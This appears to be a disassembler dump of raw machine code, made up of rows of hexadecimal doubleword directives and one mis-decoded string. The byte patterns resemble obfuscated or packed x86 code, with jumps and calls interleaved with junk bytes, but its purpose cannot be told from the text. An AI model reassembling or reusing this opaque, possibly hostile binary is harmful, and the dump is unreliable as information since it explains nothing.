dd 137C6732h, 6BA6B369h, 665F9B69h, 0E90F3DBAh, 11h, 49C9654h
dd 10D554A1h, 812647C7h, 0A862F4B2h, 68B0F57h, 0F000000h
dd 80h, 71BE6600h, 9CBB6640h, 0D9BF0FAEh, 0FC18B66h, 0E9F8D1BFh
dd 0Eh, 0C11374F2h, 932C2BDh, 32FC3777h, 8B666873h, 0CA8BF9CAh
dd 0FE9h, 1CA8B100h, 64ED1127h, 77C35E3Fh, 677739C1h, 0DE8h
dd 1C384D00h, 99996497h, 0A1667E84h, 0E9814B26h, 7A132F08h
dd 0D18B665Bh, 18F0Fh, 66F80000h, 0DF2FCA81h, 14E8h, 7EF6CD00h
dd 0C606C6E0h, 612B0D5Ch, 80E62188h, 9C518D3Bh, 0C98166A9h
dd 0E95890F5h, 0Dh, 0AB6249DCh, 0E35EDF72h, 2AF2CF00h
dd 0F0B70FECh, 43DBD381h, 8B0F0384h, 6, 20CACB81h, 816654AEh
dd 0F713AD8h, 18Ah, 0C281F500h, 134D429Bh, 0BF72C2BFh
dd 0C61DB936h, 0FE8B5F12h, 94DF8166h, 0BDE18025h, 0E681E28Ah
dd 7894A45h, 51FEB70Fh, 12E85EF9h, 5000000h, 2B8CC93Fh
dd 0EF1BAD26h, 8860C9ABh, 8D1F3D76h, 5810F6Dh, 66000000h
dd 6FA6F681h, 0BF0F605Fh, 48F0FC6h, 66000000h, 61B88FB9h
dd 1EF18166h, 0E381664Ch, 8B664177h, 8E0FD1h, 0F000000h
dd 0C8Fh, 5E95600h, 8000000h, 89412687h, 38A0F58h, 0F000000h
dd 0E4B9FABFh, 8017E8D7h, 5E92CC5h, 9D000000h, 0F685232Eh
dd 0BE9h, 2C26D00h, 1BE2B09Ch, 265FB2Ah, 806ADF80h, 816656C9h
dd 0E81EB4F2h, 0Eh, 84A7B252h, 1ACB1E7Ch, 0AEBD3541h, 0B65E7D32h
dd 6E9ECh, 20420000h, 165E48E0h, 14E9F9h, 0BB350000h, 9B8C9911h
dd 0B8F37412h, 254D6F84h, 1AC4CC5Bh, 8B60B264h, 0FE9D8h
dd 0DD6B0000h, 0A8A96FE0h, 1083AE4h, 1D511CF2h, 42BE6154h
dd 0F3E410Fh, 1587h, 800F6000h, 0
dd 8E9h, 0F917700h, 294055B7h, 0F78B613Ah, 0DA8B6660h
dd 61EC8A60h, 0BDB96661h, 0BBE381B2h, 5051D9F1h, 0F616060h
dd 5961C1B7h, 13E9h, 6C532200h, 46DF6AC6h, 2BA31E64h, 0E03B352Fh
dd 0C45D7E9Dh, 850F6060h, 0
dd 13E8h, 0FB2F5100h, 73A60B88h, 1D0E001Ch, 111786FBh
dd 3F4A8BFDh, 0DE96159h, 0E5000000h, 0F58D17A2h, 51D85A4Bh
dd 0B168CD21h, 0D2B70F61h, 0A830Fh, 8B0F0000h, 4, 0C199BB66h
dd 13E95E56h, 5C000000h, 19763CB5h, 80415F39h, 0F1B7FBCCh
dd 0AE441AA4h, 0E957C49Bh, 8, 75735510h, 0F1E1F080h, 0AE9FC59h
dd 0F1000000h, 20E6C1BAh, 0CC2D5BA4h, 880FF576h, 0Ch, 6810Fh
dd 8E0F0000h, 0
dd 700FC681h, 8B665F5Fh, 0C28166D6h, 8B660131h, 0F967B0DFh
dd 0E3DF8166h, 0BE9D6h, 0C8CF0000h, 8E2FBEC6h, 113DE840h
dd 8C0FF9CBh, 6, 0A7F2D881h, 0FC60266Ch, 14BE61FCh, 66281951h
dd 8B66FB8Bh, 0F81FB2CFh, 10E8h, 4E90DD00h, 0AF7FCCC4h
dd 8083E8F6h, 0EB6B18FEh, 60F55AC2h, 13E9h, 25537100h
dd 0D6D1E501h, 5AFD06FFh, 0A568B15Ah, 0DB39DDBAh, 0DFB70F61h
dd 6618EC80h, 7F63C181h, 8C98166h, 0EB81667Ch, 8D0FF5DEh
dd 5, 6CCE8166h, 0F1B70FD8h, 12E9h, 3A3B7700h, 553C4225h
dd 34E372C7h, 1A0B9CABh, 0E8510C01h, 9, 0FA7D98DEh, 0FC58A85Dh
dd 0FA8B66DDh, 9DF28158h, 0BF41B7B8h, 125751E3h, 2FA6BE66h
dd 47CBA66h, 5FF78A51h, 0F862F180h, 0C668BDB9h, 0F38B665Bh
dd 0EB60F281h, 0FB8B72CBh, 0B32BBF60h, 8B603F4Ah, 6161F9D8h
dd 90CA8166h, 0F7B70FAEh, 60CE8160h, 0F41B9A7h, 686h, 8C0F00h
dd 61000000h, 0BF0FF9F8h, 860F50D1h, 3, 5BBCE280h, 8E9FCF9h
dd 48000000h, 8701B78Bh, 0F77EA99h, 386h, 0C28B6600h, 0B233E180h
dd 0D0BF0F77h, 8A0FF88Bh, 0
aRflATs db 'Rf‹Ú[€Åâé',7,0
align 10h
dd 0A344E500h, 0FF5A9089h, 10E926B4h, 0C2000000h, 0D3EE8780h
dd 583A14A9h, 0CDEA0FEh, 815E9104h, 39811BE1h, 6800F24h
dd 81000000h, 0FBA3A4CAh, 0FEFB409h, 1C89h, 10E800h, 9C6B0000h
dd 4477D0CBh, 76A614B5h, 9DB26053h, 0E0817548h, 2FBA4AD7h
dd 8870F5Bh, 0F000000h, 285h, 60585000h, 0EE9h, 0C77D3F00h
dd 21C15EAh, 30F3D66h, 0E8C09768h, 14h, 0C29228A9h, 85EC3681h
dd 198A1479h, 0B03CAF25h, 0B0CC67C2h, 3EDE8166h, 66615904h
dd 0B966F08Bh, 9E9BDD2h, 50000000h, 0DFE7C477h, 5BD3C0BDh
dd 5E9h, 16753100h, 8F0F17CDh, 0
dd 28C0Fh, 13B00000h, 0FE4EBA66h, 0A1C38166h, 56CB8129h
dd 0F3A206Ch, 488h, 80B96600h, 0CE9F5h, 0EEC80000h, 0B5EC866Eh
dd 0CF5B1ECCh, 0BF0FEA27h, 0BF0F60FFh, 12C681CFh, 613BC3B9h
dd 7E9h, 2C033300h, 2086EAEEh, 2CD18166h, 5ABF6685h, 0B7B96632h
dd 8A0FF812h, 9, 38F0Fh, 0BF0F0000h, 9C280CBh, 0DE9h, 61A4B600h
dd 0EDB43C13h, 247C8A89h, 27BF8194h, 81792FE1h, 2A401CEh
dd 3DB9F853h, 0E9215EFAh, 12h, 0B75D83F3h, 0F81B4893h
dd 62702DF7h, 0C649E80Ch, 12E8A26Dh, 0A6000000h, 3E9F81BDh
dd 0B85C23F7h, 0CE4F2AA7h, 6DEED9B8h, 0C281593Ah, 616907D1h
dd 0DA80F960h, 0B70F610Eh, 0D98166C6h, 8B0FB3A3h, 2, 0DE9E78Ah
dd 6E000000h, 0F8523FC8h, 0F7460024h, 8F13BA3Bh, 0EE8h
dd 2C1B8C00h, 0F6A37B46h, 1E4F7A44h, 66CC2434h, 0B25EF28Bh
dd 2DBB66D4h, 0B70F6045h, 8E9DAh, 0B1250000h, 869EB3C1h
dd 0F61D49Ch, 1986h, 14E900h, 306B0000h, 18DAE269h, 0CAE9B687h
dd 0A2A5E073h, 31C5B557h, 0CC8A21B0h, 0DF80EE8Ah, 0B96660A7h
dd 810FFA89h, 14h, 0FE9h, 252CD000h, 0CAF06344h, 89898A24h
dd 4DD2440Eh, 2EB96661h, 138E0F51h, 0E8000000h, 0Bh, 92A91B8h
dd 3FFF91Fh, 0B4653618h, 816659AFh, 0E845B8C1h, 7, 9D1F4D19h
dd 5F116E93h, 541B6AB9h, 4A0DB823h, 0D88A6AD3h, 4800Fh
dd 60500000h, 0CE8B5E61h, 0C38027B3h, 0DE82Fh, 17700000h
dd 4C8C3C4Bh, 0D9593F95h, 0FEB96DDh, 48Ch, 0DAB96600h
dd 0B96658A1h, 8E0FB7E8h, 12h, 0DE9h, 706C0500h, 55D47F8Bh
dd 9676C34Fh, 8E9AADEh, 20000000h, 52FBBFBh, 56953529h
dd 7406BB66h, 0D4D48059h, 0CE9h, 65C5A100h, 0C6EED06Ch
dd 0AE64D6F4h, 8F0FFCFBh, 0Dh, 1C2B860h, 820F1020h, 0
dd 8BDE8B61h, 0FCF8BD1h, 1A85h, 12E800h, 0D12B0000h, 6D87557Ch
dd 6EC09D9h, 3C74251Ch, 629BBC07h, 665FFA8Bh, 661BC4BEh
dd 0BB1DB3BBh, 642FE2FAh, 0BE9h, 0B6F6F500h, 519E440Ah
dd 3A850F4Fh, 0E8D08B66h, 12h, 0E2309E55h, 0A65E189Bh
dd 0F1F513E8h, 6D78F1Ah, 8166FB85h, 5E319FE0h, 0BC78166h
dd 0DE8B66B8h, 0FCB8C380h, 6E8h, 0A88EC700h, 8B92D253h
dd 816659D3h, 0E92765C8h, 14h, 8A3B2716h, 0F63C3566h, 0D487162Fh
dd 0FBCB253Dh, 0F2AE7D64h, 6B657F8h, 0DE958h, 0A5130000h
dd 672B9BF3h, 0F00E3DDFh, 0E90162CFh, 0Bh, 31677D9Fh, 0B3156BA2h
dd 0E8BC2B92h, 5, 0ABDF6576h, 7E959h, 0AD170000h, 2272F442h
dd 81F85A9Fh, 0E01FDBF3h, 1860F19h, 0F5000000h, 8D0Fh
dd 13E80000h, 0E4000000h, 73E80600h, 4C62301Eh, 871A7913h
dd 9D7A02A8h, 23BE3900h, 595D2BCAh, 11E9h, 45764000h, 86228382h
dd 97064928h, 3D68F9DEh, 80B2F591h, 0E9EAE180h, 7, 871B05D1h
dd 60911183h, 0E9FBC880h, 14h, 0A6573C5h, 0D018CDD1h, 0E86BD79Ah
dd 354A59BEh, 0CCED0968h, 11E961h, 8A0B0000h, 0A0DB22D6h
dd 0DB4BD4D5h, 3E19F5ABh, 81D2CC49h, 0AC0081EAh, 22B9661Dh
dd 0C281602Dh, 129AA7A3h, 5E8h, 6A2F5A00h, 800F0C7Eh, 0
dd 0F580615Bh, 3860FAFh, 0F000000h, 0B0BAD6B7h, 8A4BA48Eh
dd 52F98BEAh, 0EE8h, 13CDDA00h, 0D12E9B48h, 3EDDB169h
dd 81DE8E25h, 0FC8739C8h, 8A585A10h, 5E8DCh, 7A7E0000h
dd 5879DBE1h, 4399BA66h, 1C8A0Fh, 11E80000h, 0A2000000h
dd 0E13B14F8h, 0AC177BCAh, 0A607B0Dh, 37651E4Eh, 8504B1BEh
dd 1BB05F2Dh, 10E9h, 17EAB900h, 85C50105h, 498AE438h, 72C8AB10h
dd 17DC80AEh, 18850Fh, 0E8510000h, 10h, 0DD39B753h, 1F48A7B6h
dd 41868D2Eh, 12D2D3E9h, 820F5959h, 6, 687ACF81h, 0C1817C28h
dd 60447F45h, 0FE96AB4h, 0E2000000h, 0A05237EDh, 0E4A0C4A2h
dd 8D40D9B2h, 0D18BE9F8h, 28F0Fh, 26B70000h, 95D68150h
dd 5B45E36Eh, 58E0Fh, 81660000h, 666AE3EEh, 800CF0BBh
dd 0DF802CD9h, 0FCEE8AB3h, 0CE850h, 0A91B0000h, 5AAA0B8Ch
dd 0A7A8D2A1h, 61B9149Ah, 5E60D762h, 0C3B70F5Fh, 1B22D981h
dd 870F7136h, 18h, 0BE860h, 22DF0000h, 0ED18204Ah, 825DC465h
dd 39BB5BABh, 617414F3h, 0D4B0E981h, 0F505417h, 28Bh, 59616000h
dd 88B76057h, 61DE8B66h, 88E0F5Fh, 50000000h, 870Fh, 0F5B0000h
dd 481h, 47BF6600h, 0BE951E9h, 0C9000000h, 75201DC5h, 0B6AE793Fh
dd 665E2BF2h, 7F07C381h, 38B0F51h, 66000000h, 665AC28Bh
dd 0D981DE8Bh, 47F5212h, 0FF1B70Fh, 485h, 4AB15300h, 11E85Bh
dd 0A6400000h, 5BC517AAh, 0EBFFD1ACh, 0BF21D3A6h, 66660983h
dd 4221C781h, 0F281665Bh, 97B9FA12h, 0B4572524h, 61BE66ADh
dd 8E9BEh, 0CC280000h, 0A917EEE3h, 840F0120h, 3, 663AE280h
dd 0F824D0BAh, 0AB709FB9h, 99BE667Bh, 0F8F18B9Eh, 0BFA7ADBBh
dd 0DE961h, 0A9B40000h, 0D7B05777h, 24E94841h, 6644A9A3h
dd 0F13D1BBh, 489h, 0DEBB6600h, 0F0816698h, 860F32DAh
dd 0Bh, 6E9h, 4F479600h, 66D0F7A5h, 5B94E381h, 8E9h, 1BEDDE00h
dd 280E652Fh, 0F85E5781h, 0FE8h, 738EE00h, 904882A8h, 72581C3h
dd 536E654Fh, 5F36E280h, 0AE8h, 0DD133000h, 5E4E4AD8h
dd 0BE311D1Ch, 35F12F40h, 2880F5Eh, 8B000000h, 11840FCAh
dd 0E8000000h, 5, 0BEB2733Ch, 810F63h, 5B000000h, 6BD3C381h
dd 0BA663374h, 830F428Ch, 0
dd 59F28B56h, 57DFB70Fh, 5BFAB70Fh, 7860Fh, 8C0F0000h
dd 1, 6611B0F8h, 8166C18Bh, 66DBB3D1h, 0B866D88Bh, 81663263h
dd 81C3C0E2h, 60FAC0C1h, 54F18128h, 0B70C7D90h, 14E9A5h
dd 4D060000h, 6058BC56h, 82BF1A01h, 7D845645h, 0DCB1668Eh
dd 11E85790h, 49000000h, 0EEA11E32h, 7663CC5h, 7CE55A36h
dd 8B9500E9h, 0C6BB6660h, 8A0FEAh, 61000000h, 0BE60FC5Fh
dd 2FEE4F96h, 88F08166h, 66F96193h, 0F6A28BBh, 1A8Eh, 13E800h
dd 62440000h, 1DA7F198h, 0D61C29DAh, 8D38449Ch, 8720FFE0h
dd 0E85EF84Eh, 11h, 67AE58CAh, 4416DAE8h, 416CE41Ah, 0A5BF7397h
dd 0B880FE7h, 0E9000000h, 6, 1678B684h, 6058A40Ah, 6E8h
dd 3BB11F00h, 56AAB1ACh, 0E8615E5Ah, 0Ah, 0BEB437BFh, 7D5E50Dh
dd 820FDB3Fh, 3, 58F08B66h, 8E9h, 91D89A00h, 43298BCAh
dd 0D381667Bh, 53F9A3A1h, 12E8h, 9E4A0800h, 0E614759Fh
dd 0BD9B4DDDh, 0C1833724h, 6624BE0Dh, 3F6BE281h, 0CE9595Fh
dd 0E5000000h, 38DBDA37h, 9DE3516Ah, 81E8FB4Fh, 0FAD442C7h
dd 0C7816637h, 0EE8A3363h, 0DCD08053h, 0F5D98A58h, 8B0FFEB7h
dd 0Fh, 0AE9h, 0A83A8400h, 0E1A9265Fh, 0E9B8F568h, 6, 6361541Dh
dd 0E380073Fh, 11E92Ch, 0B03A0000h, 211216B0h, 0DFB7C948h
dd 0EFB6954Dh, 0E8E2EF9Ch, 6, 7D9F1637h, 0DE813167h, 55CB6525h
dd 0F0816658h, 0D88B2199h, 0FCE8B66h, 888h, 800F5200h
dd 0
dd 66C38A5Eh, 21CDE281h, 6E891B3h, 24000000h, 0E6B70A9Bh
dd 8BC881CEh, 59325A10h, 4FA3BB66h, 0D695D681h, 0B966472Bh
dd 8166835Eh, 816594C2h, 378EF6DEh, 0D18B6627h, 2800Fh
dd 0D78B0000h, 0C7818DB3h, 7B1B619Dh, 13E8h, 6B99F600h
dd 869CF85Ah, 0BB1EAC72h, 84172320h, 1BD5E16Ch, 0E85F85B1h
dd 0Bh, 42F31683h, 0CA7D280Ah, 0E9D9078Fh, 0Dh, 0CDEA0FEh
dd 7D5E9104h, 0B090FF10h, 0E9FC5836h, 11h, 8E76AB46h, 5F4DD9A9h
dd 95A5A5F5h, 812A595Eh, 58FC53CEh, 0E9E7C680h, 10h, 0C44E90DDh
dd 0F6AF7FCCh, 0FE8083E8h, 0C2EB6B18h, 0FE9h, 0C0529700h
dd 9ACB9E5Eh, 0C8FC970h, 952ED7E7h, 0CE9FCh, 0A7DB0000h
dd 6263EED7h, 3977ABCDh, 14E80C1Dh, 0D3000000h, 0D0ACAC28h
dd 292FAFAEh, 347BB15Fh, 10E73F03h, 66C2A459h, 58A823BEh
dd 99B9BF60h, 0BB6604F3h, 57610D61h, 7E8h, 9DF4E300h, 0EB37FCAAh
dd 3178BE66h, 5E85859h, 21000000h, 3E517F2Eh, 8166F85Bh
dd 0E9CEB8C0h, 0Ah, 71F3710h, 3350F0A9h, 0F08B7B29h, 5692C181h
dd 0E38033CDh, 0D18B66EBh, 0BEFB8BF8h, 513A0318h, 870FFE8Bh
dd 0
dd 58A0Fh, 81660000h, 815ABAF6h, 34DAD0F3h, 33FFBB08h
dd 0AE8044Dh, 7D000000h, 27265515h, 36162C4Bh, 0DBF0815Bh
dd 5F1724AAh, 800FD78Bh, 5, 48C08166h, 0BF0F563Bh, 0E95059F1h
dd 11h, 0A609C3D8h, 79BE0891h, 7AA9815Fh, 0C99727F2h, 0E0815B94h
dd 781658E6h, 0CC3127BAh, 0FFE8A74h, 6E9C2B7h, 7A000000h
dd 69C073AAh, 0E9C28A52h, 0Dh, 73B6C16Ah, 6763C9ACh, 8BB8647h
dd 88D080B8h, 603FCD80h, 7259DF81h, 870F6E1Ch, 6, 8C0Fh
dd 60610000h, 60FEE580h, 61614AB4h, 96D480F8h, 810FF78Bh
dd 5, 0F5E68166h, 60CF8B71h, 3B49C881h, 0DE8075C6h, 11E8614Dh
dd 80000000h, 1704291h, 0D122648Ah, 45531115h, 0FF13EADDh
dd 58E3DD80h, 0FD18B66h, 680h, 0F1CB8100h, 664792BAh, 0BA66FB8Bh
dd 0BF0F6EE4h, 690AB9D6h, 66507140h, 665EFB8Bh, 0E82D42BEh
dd 11h, 0C7719A72h, 316313EEh, 7E96D646h, 824C6380h, 66BB6684h
dd 0E9F85F7Ah, 7, 0D1D78072h, 0F5A1E670h, 0AE960h, 0CFA00000h
dd 20640012h, 0E6505DB2h, 0BE9h, 0F483FC00h, 4C44F0FDh
dd 0E0F099ADh, 0C0BF0F61h, 66B2E580h, 0E79AC781h, 11E8h
dd 57412C00h, 0A36491CAh, 0B8AE2369h, 114CE839h, 0DE91F44h
dd 3C000000h, 209FE34Bh, 5AFFFA67h, 0BF28ACE4h, 10E958h
dd 57530000h, 0F4EAC41Ch, 6786CB5Ah, 0B5D2BC70h, 0ACBA94D2h
dd 816A5A5Eh, 0C36604F1h, 2BF6670h, 8280BBAEh, 890F0A5Ah
dd 11h, 0CE9h, 0A77A6C00h, 829B1C5Ch, 9C947189h, 4FBA6682h
dd 9F38109h, 8B3E422Eh, 0F5B56C1h, 0F53F0BFh, 0BE5ED7BFh
dd 57182536h, 8880Fh, 860F0000h, 2, 28BBC68Bh, 0BF69C5FEh
dd 4C2FD70Bh, 39CBE66h, 12E9h, 822E7A00h, 4C75C79Eh, 4663320Ch
dd 0E42EC420h, 57170830h, 0AABB5FF8h, 81011004h, 4B02DEDBh
dd 96B8601Eh, 0B97AC4C9h, 22DAE184h, 8D0F6061h, 0Ch, 7E9h
dd 0FB828D00h, 0FEFBF5Dh, 14D88166h, 11E9616Ah, 21000000h
dd 0FB09AEC2h, 0E5CC2AD2h, 0AD4EABFEh, 566C03F3h, 8D0Fh
dd 0DE810000h, 7DB0BB04h, 81D1B70Fh, 8350D1CEh, 0CB816668h
dd 0F28B6C02h, 17820Fh, 12E90000h, 19000000h, 572F3DC6h
dd 260F9A18h, 7538DCD9h, 6FFBE447h, 0CE85Ah, 0F1D50000h
dd 0F34E59FAh, 4877047Ah, 81562ACFh, 3D75FDEh, 665E5915h
dd 81D2EB81h, 0DB816660h, 0F61FB6Dh, 0FE8CEB7h, 37000000h
dd 93EB3A99h, 0DDD2343Ch, 0C0A36D01h, 66592039h, 66584EBFh
dd 0BB60C18Bh, 4E1B7F99h, 3394E881h, 8B617E06h, 0FD38BC2h
dd 589h, 6340BE00h, 11E913EDh, 6F000000h, 806B0F15h, 716A58D6h
dd 4733C637h, 63FC1642h, 66DBB70Fh, 0E9B056BFh, 9, 0EB52B8C1h
dd 4C5BA5ABh, 23BB66BAh, 8E8F837h, 0B8000000h, 698C174h
dd 5992FA30h, 0DE9h, 1614200h, 75C32409h, 412D0E50h, 66F5E646h
dd 522B49BFh, 665ACF8Bh, 0A8C2E281h, 860FD78Bh, 18h, 13E9h
dd 86AB7600h, 2041FF47h, 7834F269h, 15F750F4h, 0A8BC46E7h
dd 4860Fh, 0BF660000h, 0BE605E04h, 1E6D70BDh, 1A0FCA81h
dd 60617AE0h, 58616052h, 0D9EEF281h, 816136AEh, 222013C1h
dd 14E912h, 80660000h, 8B56B2BBh, 8EEE2875h, 0E1EC9D1h
dd 0C5B23853h, 5E8DCC8h, 0C3000000h, 0F255D9A1h, 0EE8h
dd 4BE69A00h, 0E0707B7Dh, 0C04B6BB8h, 0FB52BD1h, 5E58DEB7h
dd 10B2EA81h, 8FBE1616h, 60077544h, 0DE8BF561h, 67CA0CBFh
dd 0D8B70F58h, 60FC60F8h, 8A0FD88Bh, 0
dd 81666161h, 8B96F4D3h, 2890FF3h, 8A000000h, 0BE8F5h
dd 62DF0000h, 99169F1h, 499ADA14h, 13E95200h, 0F8000000h
dd 633784C0h, 91079735h, 5AB9ABFFh, 45AE06DEh, 585EB10Ah
dd 0EF81D88Bh, 1299DB42h, 7E9h, 30309C00h, 0A85E02E4h
dd 98A0Fh, 8A0F0000h, 3, 0BADAB70Fh, 5AEE057Fh, 840Fh
dd 0F500000h, 38Bh, 0C78B6600h, 168E0F5Bh, 0F000000h, 1085h
dd 0BE900h, 0E0920000h, 0AD1F1D8Ah, 279CA73Ah, 0F8E0F91h
dd 0E8000000h, 8, 7B6F82B9h, 3DD11Ah, 0CE859F8h, 0F2000000h
dd 0E167ED52h, 957610BEh, 52216921h, 7E9h, 37F2EA00h, 9D4F4F91h
dd 0F7815B5Ah, 2184CE8h, 0DE9h, 977CCB00h, 61F407C4h, 0ACB84B83h
dd 13E83A9Ch, 9000000h, 9E3AAA6Bh, 4039A0CFh, 571085ADh
dd 7E4FDA13h, 8C0FC41Fh, 0
dd 0CE95Ah, 840D0000h, 23973122h, 0C287A43Ch, 6E98224h
dd 0C000000h, 1CB7C0C1h, 0A37FBA24h, 0B9536BFCh, 443D12B9h
dd 0C0B70F5Ah, 0D860Fh, 5E80000h, 5B000000h, 0CFF8C3F9h
dd 0E85EF08Bh, 0Ah, 0C8AC0479h, 6D49B13Dh, 8B66B45Bh, 890F5FDAh
dd 9, 3840Fh, 0BF0F0000h, 8BF98BFAh, 0BB5BBFD7h, 8D0F6DD1h
dd 5, 2DDDF6BEh, 4830F42h, 51000000h, 8B5E5950h, 5880FC3h
dd 0BE000000h, 691EA7E2h, 8A0FD38Ah, 4, 4AADB866h, 0C7F5EA81h
dd 0FE8B247Fh, 5351C181h, 66513742h, 5F49ADBBh, 890F5150h
dd 0
dd 8B665F5Eh, 19830FF2h, 0E9000000h, 14h, 0D9F26Ch, 9341D025h
dd 7C24E452h, 836385BEh, 0D290714Dh, 0AE8h, 0F0F00900h
dd 8D448FF1h, 5399FCB4h, 0BE665A59h, 7E8A6D7h, 0A8000000h
dd 0F0F4D807h, 830F68B5h, 0Dh, 8E9h, 99CB7300h, 7ECAA2F6h
dd 8166596Ch, 8B1413EEh, 47E181F9h, 0F528FA1h, 8B57C1BFh
dd 0FFC5AF7h, 0D88h, 8E900h, 9A6A0000h, 2CD6ECF9h, 0CE970F3h
dd 98000000h, 44C63E0Ch, 6426C0CAh, 66D114FEh, 91EECE81h
dd 0C8C98166h, 1F850FDBh, 0E8000000h, 14h, 9E8C06DCh, 0B61C09A9h
dd 1E11E6A0h, 68857546h, 0EDA83839h, 33EF03BBh, 10E95B0Bh
dd 42000000h, 9ABA1072h, 986CEDA9h, 9654CCCBh, 81A1049Ch
dd 6EE5B9DFh, 5890F17h, 0BB000000h, 76E0A703h, 93D6BE66h
dd 3BD68166h, 89DB811Eh, 667F9076h, 66FBCEBEh, 0EBFCE281h
dd 11800Fh, 0CE90000h, 2A000000h, 0BE09ABAFh, 0EE917488h
dd 66236EF5h, 412CD181h, 0BB0B966h, 5880Fh, 81660000h
dd 668D1DE9h, 12E9F88Bh, 0B9000000h, 0A768F324h, 86042BDAh
dd 88F5B82Ah, 1E72D8F5h, 14AFB861h, 81524780h, 0E536ACEAh
dd 0E9815F7Ch, 48D9CEE2h, 8166BEB2h, 0FE87EF0h, 0C68BD3BFh
dd 0EE9h, 645C8F00h, 90939FCCh, 3ABAB064h, 0E980A58Eh
dd 11h, 330E5E6h, 0D22F725Bh, 37DB2776h, 0CB9BD300h, 0BE9E1h
dd 6D4B0000h, 0AD5AAE55h, 689C5AC7h, 0F5FB8BE6h, 13E9F5h
dd 37E10000h, 9F138A36h, 7EC68850h, 47808230h, 0D8590C89h
dd 0D6805686h, 0D1B158C5h, 601ADA80h, 219CAABBh, 488CBB6Fh
dd 60616E7Bh, 0FF08B66h, 1688h, 11E900h, 0F2490000h, 0E3ADBED4h
dd 980FAC19h, 2BDD4CD4h, 6149DB91h, 0DE860h, 0FA160000h
dd 316E7338h, 0A00700EBh, 0F934341h, 8Dh, 12E95E00h, 4D000000h
dd 0E757545Bh, 913EB178h, 0EB942670h, 78D6925h, 6E861A7h
dd 0C8000000h, 42EC0518h, 7AB9607Dh, 0F877D0E1h, 5E95A61h
dd 0E9000000h, 104A72CCh, 118F0F60h, 0E9000000h, 0Ch, 4729E77Eh
dd 93AFC2A8h, 0BCA5F260h, 3D98051h, 0EE96158h, 0A6000000h
dd 0AF1F4FE1h, 9EE60716h, 44D837C3h, 10E960F4h, 57000000h
dd 0AD161544h, 5E811A8Bh, 261D9BEDh, 0E94DD6FFh, 0Ah, 2C5F2E41h
dd 7F61D8CAh, 0F61772Ah, 581h, 4B2CB900h, 0B70F4211h, 9E8FBh
dd 30810000h, 8341E02Fh, 59AA746Bh, 0E961EE80h, 14h, 92EAF28Fh
dd 337A209Ch, 0FC4627BBh, 1F4AEBB3h, 0D3D4FD30h, 8E9h
dd 0BEF85C00h, 0F06E7069h, 800F6Fh, 81000000h, 0CF59FBC0h
dd 80F08B79h, 0BF0F9FD9h, 28D0FD9h, 8B000000h, 0D1BF0FC3h
dd 8AD7BE66h, 8144C981h, 8B662E7Eh, 28F0FC8h, 0B0000000h
dd 0D88166D7h, 81665E9Ah, 0E9D219D2h, 8, 9EC092E6h, 9A4FB6B5h
dd 12E960h, 6CEB0000h, 90C9FB1Eh, 665E581Ah, 809CF281h
dd 4C526BD1h, 0F860Fh, 0AE90000h, 26000000h, 3DCB67D7h
dd 0D137B2C2h, 0BE6661D0h, 0B70F5146h, 0CF8166CAh, 0C88B4CE6h
dd 81D8BF0Fh, 68A40D6h, 0AE848h, 0C7CA0000h, 8F561EE1h
dd 0EF0D78D3h, 0E959FA8Bh, 0Ch, 792A61FDh, 68C0ECA3h, 3AF970EAh
dd 16810Fh, 11E90000h, 54000000h, 25B537F6h, 0B70EC33h
dd 202FF0AEh, 3EEF4897h, 850F51h, 5A000000h, 5E0CB3B8h
dd 0AA10BF70h, 66600813h, 3858C281h, 0F28B6660h, 61615853h
dd 0E8D88B66h, 6, 0B887AAF6h, 11E91B28h, 0C2000000h, 0BF48C73Bh
dd 0F5C531E0h, 7A687013h, 342B2AABh, 0C1B9665Ah, 11E95Ah
dd 0F2EF0000h, 5B7A780Ah, 1B67A72Bh, 0ABBF3939h, 60AFF3F9h
dd 5840Fh, 81660000h, 662D94E8h, 4AAAD281h, 0B74AB061h
dd 81666067h, 0F7A1CC9h, 686h, 810F00h, 61000000h, 0C800Fh
dd 7E90000h, 69000000h, 9C934B8Ch, 0D5802653h, 0AE91Ah
dd 474E0000h, 5C65B577h, 0E64552DAh, 66FFB70Fh, 5839E281h
dd 0D49C8CBFh, 5820F78h, 0BA000000h, 29E92CFAh, 0E958F856h
dd 7, 423107F7h, 0FC863550h, 51C78B66h, 5AECB656h, 0CA81665Eh
dd 60605BD2h, 6AD88166h, 8F0F8Dh, 61000000h, 2830Fh, 59510000h
dd 0FBBF0F61h, 6650D781h, 60F5608Eh, 81C78B66h, 48CF34C9h
dd 9DB36125h, 0D8B0Fh, 8E90000h, 1B000000h, 24F01DD5h
dd 66B65FB8h, 0B92B0FBAh, 729AC6E1h, 2890F57h, 8B000000h
dd 0BE6658F8h, 12E8C27Dh, 71000000h, 3DD97920h, 38B3FB58h
dd 60328312h, 30AAB95Bh, 68B0F1Eh, 0F000000h, 8Eh, 1BBB5E00h
dd 0B9781DABh, 6140D42Fh, 26B96653h, 8E959D1h, 5B000000h
dd 76D22F72h, 5737DB27h, 12E85Fh, 50180000h, 0F6DB88ABh
dd 0A0F35C0Ch, 3E312BBDh, 5AB64611h, 74DF815Eh, 0F9206EACh
dd 178B0Fh, 12E90000h, 0E2000000h, 0BF02B776h, 384D287Ah
dd 9964971Ch, 667E8499h, 665A57A1h, 9B6CE081h, 8D0F2CB1h
dd 5, 38F18166h, 0C08166D7h, 0B36027DDh, 12E910h, 0F1860000h
dd 692BB5C5h, 4979305Bh, 539D5F25h, 42E568F1h, 34BB6661h
dd 0FF38A24h, 1389h, 0EE900h, 7E1E0000h, 4A0258h, 6A8BDD6Ch
dd 8FAF0E62h, 0FDE8B66h, 386h, 0D9B70F00h, 0AE923EBBh
dd 6BDF8035h, 0FE9h, 9E822E00h, 0C4C75C7h, 20466332h, 30E42EC4h
dd 5820Fh, 33B90000h, 0F4ACE0Ah, 0E381D7B7h, 6C91DFC2h
dd 13E8h, 91390300h, 47C250B9h, 18B5A0FBh, 373B5268h, 450039E0h
dd 9DF4805Fh, 1CCA8166h, 2840F90h, 0B3000000h, 0B1B95336h
dd 5B1C035Ah, 18F0Fh, 66FC0000h, 567341BAh, 8E95Fh, 7E800000h
dd 9443B44Ah, 66F8DC96h, 0BF17E281h, 56C3BF0Fh, 6E8h, 0EBC6C00h
dd 0E88DA7E1h, 0Eh, 583E46C9h, 2A857FC2h, 7A10B225h, 5B599A83h
dd 0AE959h, 0F3390000h, 0BB47026Fh, 4F8C2D1Bh, 0BE47D680h
dd 62420110h, 8DCBF66h, 3810Fh, 0BF0F0000h, 0BAB460D8h
dd 0BD44EEBFh, 14E9613Eh, 0DF000000h, 79D5EFE5h, 935D4744h
